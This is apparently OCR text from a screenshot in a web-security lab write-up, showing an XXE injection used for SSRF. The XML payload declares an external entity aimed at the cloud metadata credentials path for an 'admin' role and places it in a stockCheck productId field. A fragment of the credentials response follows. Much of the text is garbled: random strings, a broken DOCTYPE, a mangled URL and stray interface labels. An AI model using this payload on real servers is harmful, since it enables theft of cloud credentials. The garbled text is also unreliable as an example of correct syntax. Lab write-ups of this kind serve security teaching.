<?xml version="1.0" encoding="UTF-8"?> BURS1 JTUHr CLRVQBLge7Viy vyasVoOnyLySHfUTgd3Gr FORaKAEF FY11 JIMTZuZgFANRI MGk IK3Tt K CS35S"
<IDOCTYPE test | <!ENTITY xxe SYSTEM ;
"http://169.254.169, 254/ at est /neta-data/ian/security-credentials/adnin®> 1> "Expiration” : "2027-03-17T07:10:38.5419232"
<stockCheck> i
<productId>&xxe;</productId>
<storeld>l</storeld>
</stockcheck>
- -
v v
2 ) (<] [+ (=] [7vpe 2 search term 0 matches 2 ) (<] (=] (=] [7vee a search term 0 matches
Done 661 bytes | 1,550 mills ||

We finally reached the admin page with all the sensitive information. In this way, we could send
requests from vulnerable web application servers to the target server and perform SSRF using the
XXE vulnerability.
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